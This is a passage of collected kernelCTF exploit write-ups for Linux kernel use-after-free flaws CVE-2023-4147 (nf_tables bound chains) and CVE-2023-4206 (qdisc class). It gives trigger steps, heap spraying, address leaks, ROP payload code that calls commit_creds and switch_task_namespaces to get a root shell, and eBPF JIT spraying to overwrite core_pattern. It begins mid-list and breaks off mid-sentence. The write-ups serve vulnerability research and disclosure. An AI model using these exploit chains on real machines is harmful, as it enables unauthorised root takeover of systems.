• Spray rhash sets Set_Spray_n. When destroying an nf_tables_set_elem_destroy element, nft_set_ext is used [10], and nft_set_ext is retrieved by referencing set->ops->elemsize [12]. Thus, a rhash set with elemsize of 8 is overwritten by an rbtree set with elemsize of 24, causing the nft_set_elem_expr_destroy to reference the wrong nft_set_ext. We manipulate the offset to destroy the immedieate expr in Rule_Victim_n, that is allocated after the element, in [11]. This frees Rule_Victim2_n of Chain_Victim2_n in the nft_immediate_destroy. However, Chain_Victim2_n and Rule_Victim2_n remain accessible.
• Spray fake rules using nft_table->udata into freed Rule_Victim2_n (kmalloc-cg-192). Set nft_rule->udata of the fake rule to 1 and nft_rule->udata->len to 0xff.
• Get the fake rule will read 0xff bytes start from nft_rule->udata. As a result, we can obtain kbase (nft_last_ops) and heap address (nft_rule.list.next and nft_rule.list.prev) of Rule_Targret_n.

RIP Control

• Create two chains, Base, Vulnerable. Set NFT_CHAIN_BINDING flag for Vulnerable.
• Create an anonymous rbtree set Set_Victim.
• Create a set element in set Set_Victim. The element is allocated in kmalloc-cg-256.
• Spray fake exprs using table->udata in kmalloc-cg-256.
• Create a rule R1 in Base with an immediate expr referencing the Vulnerable.
• Create a rule R2 in Vulnerable with a lookup expr referencing the Set_Victim.
• Delete the R1. This results in Set_Victim being free from the destroy phase.
• Delete the set element in Set_Victim. This results in a UAF that references Set_Victim that was freed in previous step.
• Create rhash sets Set_Spray_n. As a result, the RIP is controlled by referencing the fake expr in the nf_tables_expr_destroy [13].

static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
				   struct nft_expr *expr)
{
	const struct nft_expr_type *type = expr->ops->type;

	if (expr->ops->destroy)
		expr->ops->destroy(ctx, expr);      //  [13]
	module_put(type->owner);
}

Post RIP

Since RIP control is performed by the destroy worker, we split the ROP into two phases. In the first ROP payload, we overwrite last_ops with fake ops address.

void make_payload(uint64_t* data){
    int i = 0;

    data[i++] = kbase + pop_rdi_ret;
    data[i++] = kbase + last_ops_addr_off;

    data[i++] = kbase + pop_rsi_ret;
    data[i++] = heap_addr+0x40;             // fake ops
    data[i++] = kbase + mov_ptr_rdi_rsi;
    data[i++] = kbase + msleep_off;

    data[i++] = 0;
    data[i++] = kbase + push_rbx_pop_rsp_pop_rbp_ret;
    data[i++] = 0;
    data[i++] = 0;
    data[i++] = 8;                          // ops.size
    data[i++] = kbase + push_rsi_jmp_rsi_f; // ops.init
}

Then, when generating last expr, fake ops->init is called and the second ROP payload is executed to get the root shell.

void make_payload2(uint64_t* data){
    int i = 0;

    // commit_creds(&init_cred)
    data[i++] = kbase + pop_rdi_ret;
    data[i++] = kbase + init_cred_off;
    data[i++] = kbase + commit_creds_off;

    // find_task_by_vpid(1)
    data[i++] = kbase + pop_rdi_ret;
    data[i++] = 1;
    data[i++] = kbase + find_task_by_vpid_off;

    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
    data[i++] = kbase + mov_rdi_rax_ret;
    data[i++] = kbase + pop_rsi_ret;
    data[i++] = kbase + init_nsproxy_off;
    data[i++] = kbase + switch_task_namespaces_off;

    data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off;
    data[i++] = 0;                  // rax
    data[i++] = 0;                  // rdx
    data[i++] = _user_rip;          // user_rip
    data[i++] = _user_cs;           // user_cs
    data[i++] = _user_rflags;       // user_rflags
    data[i++] = _user_sp;           // user_sp
    data[i++] = _user_ss;           // user_ss
}

Pocs Linux Kernelctf CVE 2023 4147 Lts Cos Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-4147_lts_cos/docs/vulnerability.md`) Copy Section

• Requirements:
  • Capabilities: CAP_NET_ADMIN
  • Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y
  • User namespaces required: Yes
• Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d0e2c7de92c7
• Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0ebc1064e4874d5987722a2ddbc18f94aa53b211
• Affected Version: v5.9-rc1 - v6.5-rc3
• Affected Component: net/netfilter
• Syscall to disable: disallow unprivileged username space
• URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-4147
• Cause: Use-After-Free
• Description: A use-after-free flaw was found in the Linux kernel's Netfilter functionality when adding a rule with NFTA_RULE_CHAIN_ID. This flaw allows a local user to crash or escalate their privileges on the system.

Pocs Linux Kernelctf CVE 2023 4147 Mitigation Docs Exploit (`pocs/linux/kernelctf/CVE-2023-4147_mitigation/docs/exploit.md`) Copy Section

Triggering Vulnerability Copy Section

nf_tables_newrule disallows adding a new rule to the bound chain [1], but when adding a rule with NFTA_RULE_CHAIN_ID a rule is added to the bound chain [2].

static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
			     const struct nlattr * const nla[])
{
    ...

	table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask,
				 NETLINK_CB(skb).portid);
	if (IS_ERR(table)) {
		NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]);
		return PTR_ERR(table);
	}

	if (nla[NFTA_RULE_CHAIN]) {
		chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN],
					 genmask);
		if (IS_ERR(chain)) {
			NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]);
			return PTR_ERR(chain);
		}
		if (nft_chain_is_bound(chain))                  // [1]
			return -EOPNOTSUPP;

	} else if (nla[NFTA_RULE_CHAIN_ID]) {
		chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID]);     // [2]
		if (IS_ERR(chain)) {
			NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]);
			return PTR_ERR(chain);
		}
	} else {
		return -EINVAL;
	}

We can trigger the vulnerability as follows:

• Create two chains, Base and Vulnerable. Set NFT_CHAIN_BINDING flag for Vulnerable.
• Create an anonymous set Victim.
• Create a set element in set Victim.
• Create a rule R1 in Base with an immediate expr referencing the Vulnerable.
• Create a rule R2 in Vulnerable with an lookup expr referencing the Victim.
• Delete the R1. This results in Victim being free from the destroy phase [3].
• Delete the set element in Victim. This results in a UAF that references Victim that was freed in previous step [4].

static void nft_commit_release(struct nft_trans *trans)
{
	switch (trans->msg_type) {
    ...
	case NFT_MSG_DELSET:
		nft_set_destroy(&trans->ctx, nft_trans_set(trans));         // [3]
		break;
	case NFT_MSG_DELSETELEM:
		nf_tables_set_elem_destroy(&trans->ctx,
					   nft_trans_elem_set(trans),                   // [4]
					   nft_trans_elem(trans).priv);
		break;
    ...
}

Information Leak Copy Section

The KASLR address and heap address are leaked through nft_rule allocated in kmalloc-cg-192. The leak process is as follows:

• Create four chains, Base, Vulnerable, Chain_Victim, and Target. Set NFT_CHAIN_BINDING flag for Vulnerable.

• Create chains Chain_Victim2_n for the victim rules created in the next step. In this exploit, 0x30 chains are sprayed.

• Create an anonymous rhash set Set_Victim.

• Create a set element in set Set_Victim. The element is allocated in kmalloc-cg-256.

• Create rules Rule_Victim2_n in Chain_Victim2_n. The rules are allocated in kmalloc-cg-192.

• Create rules Rule_Targret_n in Target with an counter expr. The rules are allocated in kmalloc-cg-192. The kbase and heap address in the Rule_Targret_n are used for leak in following step. We can read the target rule allocated right after the Rule_Victim2_n.

• Create rules Rule_Victim_n in Chain_Victim with an immediate expr referencing the Chain_Victim2_n. The rules are allocated in kmalloc-cg-256.

• Create a rule R1 in Base with an immediate expr referencing the Vulnerable.

• Create a rule R2 in Vulnerable with a lookup expr referencing the Set_Victim. We can add the rule to bound chain Vulnerable because of the vulnerability.

• Delete the R1. When R1 is destroyed, nft_immediate_destroy is called to destroy R2, the rule of Vulnerable that is bound to R1. This results in Set_Victim being free in nft_lookup_destroy from the destroy phase.

• Delete the set element in Set_Victim. This will reference the Set_Victim freed in the previous step in the nf_tables_set_elem_destroy, causing a UAF.

static void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,
				       const struct nft_set *set, void *elem)
{
	struct nft_set_ext *ext = nft_set_elem_ext(set, elem);          // [5]

	if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))
		nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));      // [6]

	kfree(elem);
}

static inline struct nft_set_ext *nft_set_elem_ext(const struct nft_set *set,
						   void *elem)
{
	return elem + set->ops->elemsize;                       // [7]
}

• Spray rhash sets Set_Spray_n. When destroying an nf_tables_set_elem_destroy element, nft_set_ext is used [5], and nft_set_ext is retrieved by referencing set->ops->elemsize [7]. Thus, a rhash set with elemsize of 8 is overwritten by an rbtree set with elemsize of 24, causing the nft_set_elem_expr_destroy to reference the wrong nft_set_ext. We manipulate the offset to destroy the immedieate expr in Rule_Victim_n, that is allocated after the element, in [6]. This frees Rule_Victim2_n in Chain_Victim2_n. However, Chain_Victim2_n and Rule_Victim2_n remain accessible.
• Spray fake rules using nft_table->udata into freed Rule_Victim2_n (kmalloc-cg-192). Set nft_rule->udata of the fake rule to 1 and nft_rule->udata->len to 0xff.
• Get the fake rule will read 0xff bytes start from nft_rule->udata. As a result, we can obtain kbase (nft_counter_ops) and heap address (nft_rule.list.next and nft_rule.list.prev) of Rule_Targret_n.

RIP Control Copy Section

• Create two chains, Base, Vulnerable. Set NFT_CHAIN_BINDING flag for Vulnerable.
• Create an anonymous rbtree set Set_Victim.
• Create a set element in set Set_Victim. The element is allocated in kmalloc-cg-256.
• Spray fake exprs using table->udata in kmalloc-cg-256.
• Create a rule R1 in Base with an immediate expr referencing the Vulnerable.
• Create a rule R2 in Vulnerable with a lookup expr referencing the Set_Victim.
• Delete the R1. This results in Set_Victim being free from the destroy phase.
• Delete the set element in Set_Victim. This results in a UAF that references Set_Victim that was freed in previous step.
• Create rhash sets Set_Spray_n. As a result, the RIP is controlled by referencing the fake expr in the nf_tables_expr_destroy [8].

static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
				   struct nft_expr *expr)
{
	const struct nft_expr_type *type = expr->ops->type;

	if (expr->ops->destroy)
		expr->ops->destroy(ctx, expr);      //  [8]
	module_put(type->owner);
}

Post RIP Copy Section

Since RIP control is performed by the destroy worker, we split the ROP into two phases. In the first ROP payload, we overwrite counter_ops with fake ops address.

void make_payload(uint64_t* data){
    int i = 0;

    data[i++] = kbase + pop_rdi_ret;
    data[i++] = kbase + counter_ops_addr_off;

    data[i++] = kbase + pop_rsi_ret;
    data[i++] = heap_addr+0x40;             // fake ops
    data[i++] = kbase + mov_ptr_rdi_rsi;
    data[i++] = kbase + msleep_off;

    data[i++] = 0;
    data[i++] = kbase + push_rbx_pop_rsp_pop_rbp_ret;
    data[i++] = 0;
    data[i++] = 0;
    data[i++] = 8;                          // ops.size
    data[i++] = kbase + push_rsi_jmp_rsi_f; // ops.init
}

Then, when creating counter expr, fake ops->init is called and the second ROP payload is executed to get the root shell.

void make_payload2(uint64_t* data){
    int i = 0;

    // commit_creds(&init_cred)
    data[i++] = kbase + pop_rdi_ret;
    data[i++] = kbase + init_cred_off;
    data[i++] = kbase + commit_creds_off;

    // find_task_by_vpid(1)
    data[i++] = kbase + pop_rdi_ret;
    data[i++] = 1;
    data[i++] = kbase + find_task_by_vpid_off;

    // switch_task_namespaces(find_task_by_vpid(1), &init_nsproxy)
    data[i++] = kbase + mov_rdi_rax_ret;
    data[i++] = kbase + pop_rsi_ret;
    data[i++] = kbase + init_nsproxy_off;
    data[i++] = kbase + switch_task_namespaces_off;

    data[i++] = kbase + swapgs_restore_regs_and_return_to_usermode_off;
    data[i++] = 0;                  // rax
    data[i++] = 0;                  // rdx
    data[i++] = _user_rip;          // user_rip
    data[i++] = _user_cs;           // user_cs
    data[i++] = _user_rflags;       // user_rflags
    data[i++] = _user_sp;           // user_sp
    data[i++] = _user_ss;           // user_ss
}

Pocs Linux Kernelctf CVE 2023 4147 Mitigation Docs Vulnerability (`pocs/linux/kernelctf/CVE-2023-4147_mitigation/docs/vulnerability.md`) Copy Section

• Requirements:
  • Capabilites: CAP_NET_ADMIN
  • Kernel configuration: CONFIG_NETFILTER=y, CONFIG_NF_TABLES=y
  • User namespaces required: Yes
• Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d0e2c7de92c7
• Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0ebc1064e4874d5987722a2ddbc18f94aa53b211
• Affected Version: v5.9-rc1 - v6.5-rc3
• Affected Component: net/netfilter
• Syscall to disable: disallow unprivileged username space
• URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-4147
• Cause: Use-After-Free
• Description: A use-after-free flaw was found in the Linux kernel's Netfilter functionality when adding a rule with NFTA_RULE_CHAIN_ID. This flaw allows a local user to crash or escalate their privileges on the system.

Pocs Linux Kernelctf CVE 2023 4206 Lts Cos Docs Exploit (`pocs/linux/kernelctf/CVE-2023-4206_lts_cos/docs/exploit.md`) Copy Section

Triggering Vulnerability Copy Section

Using this vulnerability, we can set reference counter of qdisc class to 0, and then free qdisc class (by deleting the class) while it still attached to the active filter.
When packet sent to the network, it will enqueue to the network scheduler. If the packet match to our filter, then it will return our freed qdisc class.
Qdisc class object contain qdisc object which used to enqueue packets to the respective network interface via function pointer.

Snippet code if we use drr_class as target object as target object.

static int drr_enqueue(struct sk_buff *skb, struct Qdisc *sch,
		       struct sk_buff **to_free)
{
	unsigned int len = qdisc_pkt_len(skb);
	struct drr_sched *q = qdisc_priv(sch);
	struct drr_class *cl;
	int err = 0;
	bool first;

	cl = drr_classify(skb, sch, &err); // [1]
	...
	err = qdisc_enqueue(skb, cl->qdisc, to_free);
	...
	return err;
}

static inline int qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch,
				struct sk_buff **to_free)
{
	qdisc_calculate_pkt_len(skb, sch);
	return sch->enqueue(skb, sch, to_free); // [2]
}

In [1], drr_classify will return freed drr_class, then this freed object is used to get the qdisc object via cl->qdisc and passed to qdisc_enqueue function. If we can control cl->qdisc->enqueue we can get RIP control at [2].

Target objects Copy Section

Our target objects is struct drr_class that resides inside kmalloc-128.

Spray objects Copy Section

For LTS/COS instance

Since there is no CONFIG_KMALLOC_SPLIT_VARSIZE, we can reallocated struct drr_class with ctl_buf. We use sendmsg to spray ctl_buf with controlled data in line [3].

static int ____sys_sendmsg(struct socket *sock, struct msghdr *msg_sys,
			   unsigned int flags, struct used_address *used_address,
			   unsigned int allowed_msghdr_flags)
...
		BUILD_BUG_ON(sizeof(struct cmsghdr) !=
			     CMSG_ALIGN(sizeof(struct cmsghdr)));
		if (ctl_len > sizeof(ctl)) {
			ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
			if (ctl_buf == NULL)
				goto out;
		}
		err = -EFAULT;
		if (copy_from_user(ctl_buf, msg_sys->msg_control_user, ctl_len)) //[3]
			goto out_freectl;

For Mitigation instance

Because CONFIG_KMALLOC_SPLIT_VARSIZE is enable, we need to find a struct we can spray in kmalloc-128 fixed cache. We found out struct ctnetlink_filter is in the right cache. We can spray it and put payload.

static struct ctnetlink_filter *
ctnetlink_alloc_filter(const struct nlattr * const cda[], u8 family)
{
	struct ctnetlink_filter *filter;
	int err;
...

	filter = kzalloc(sizeof(*filter), GFP_KERNEL);
...
	err = ctnetlink_parse_zone(cda[CTA_ZONE], &filter->zone);
	if (err < 0)
		goto err_filter;

	err = ctnetlink_parse_filter(cda[CTA_FILTER], filter);
	if (err < 0)

KASLR Bypass Copy Section

Spray eBPF programs

Our goal is to do some eBPF JIT spraying so later when we control kernel RIP, it will jump to the JIT page and execute our shellcode.

Linux kernel provide a socket option SO_ATTACH_FILTER and let user to attach a classic BPF program to the socket for use as a filter of incoming packets.

By creating lots of sockets and attach to classic BPF program, we can spray a lot of eBPF programs in kernel.

struct sock_fprog prog = {
        .len =  TSIZE,
        .filter = filter,
    };
    for(int i=0;i<NUM;i++){
        int fd[2];
        SYSCHK(socketpair(AF_UNIX,SOCK_DGRAM,0,fd));
        SYSCHK(setsockopt(fd[0],SOL_SOCKET,26,&prog,sizeof(prog)));
    }

As for the shellcode in our eBPF program, our goal is to overwrite /proc/sys/kernel/core_pattern so later we can execute command as root by triggering crash. Here's what our shellcode did to achieve our goal:

• Use the rdmsr instruction to obtain the kernel text address. With RCX being set to MSR_LSTAR ( 0xc0000082 ), we'll be able to obtain the address of entry_SYSCALL_64.
• Calculate the address of core_pattern and _copy_from_user.
• Call _copy_from_user(core_pattern, user_buf, 0x30);, where user_buf is a buffer in user space that stores the content we want to overwrite in core_pattern.

We construct our eBPF program with the following form:

struct sock_filter table[] = {
        {.code = BPF_LD + BPF_K, .k = 0xb3909090},
        {.code = BPF_LD + BPF_K, .k = 0xb3909090},
        .....................
};

The above example will be compiled into the following instructions after JIT:

b8 90 90 90 b3    mov eax, 0xb3909090
b8 90 90 90 b3    mov eax, 0xb3909090

If we can control kernel RIP to jump into the NOP instruction ( 0x90 ), the code will become: